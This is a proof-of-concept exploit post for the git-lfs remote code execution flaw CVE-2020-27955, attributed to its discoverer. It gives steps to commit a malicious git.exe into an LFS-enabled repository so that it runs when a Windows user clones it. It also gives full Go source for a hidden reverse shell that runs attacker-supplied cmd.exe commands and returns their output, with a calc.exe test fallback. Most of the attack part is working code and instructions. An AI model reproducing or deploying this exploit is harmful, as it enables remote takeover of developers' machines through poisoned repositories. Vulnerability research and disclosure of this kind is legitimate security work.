Proof of concept git-lfs remote code execution exploit written in Go. Affects Git, GitHub CLI, GitHub Desktop, Visual Studio, GitKraken, SmartGit, SourceTree, and more.
207206e22d89b9b831273f5d12954acb/*
Go PoC exploit for git-lfs - Remote Code Execution (RCE)
vulnerability CVE-2020-27955
git-lfs-RCE-exploit-CVE-2020-27955.go
Discovered by Dawid Golunski
https://legalhackers.com
https://exploitbox.io
Affected (RCE exploit):
Git / GitHub CLI / GitHub Desktop / Visual Studio / GitKraken /
SmartGit / SourceTree etc.
Basically the whole Windows dev world which uses git.
Usage:
Compile: go build git-lfs-RCE-exploit-CVE-2020-27955.go
Save & commit as git.exe
The payload should get executed automatically on git clone operation.
It spawns a reverse shell, or a calc.exe for testing (if it
couldn't connect).
An lfs-enabled repository with lfs files may also be needed so that git-lfs
gets invoked. This can be achieved with:
git lfs track "*.dat"
echo "fat bug file" > lfsdata.dat
git add .*
git add *
git commmit -m 'git-lfs exploit' -a
Check out the full advisory for details:
https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html
https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html
PoC video at:
https://youtu.be/tlptOf9w274
** For testing purposes only **
*/
package main
import (
"net"
"os/exec"
"bufio"
"syscall"
)
func revsh(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
// Conn failed
if nil != c {
c.Close()
}
// Calc for testing purposes if no listener available
cmd := exec.Command("calc")
cmd.Run()
return
}
r := bufio.NewReader(c)
for {
runcmd, err := r.ReadString('\n')
if nil != err {
c.Close()
return
}
cmd := exec.Command("cmd", "/C", runcmd)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.CombinedOutput()
c.Write(out)
}
}
// Connect to netcat listener on local port 1337
func main() {
revsh("localhost:1337")
}
--
Regards,
Dawid Golunski
https://legalhackers.com
https://ExploitBox.io
t: @dawid_golunski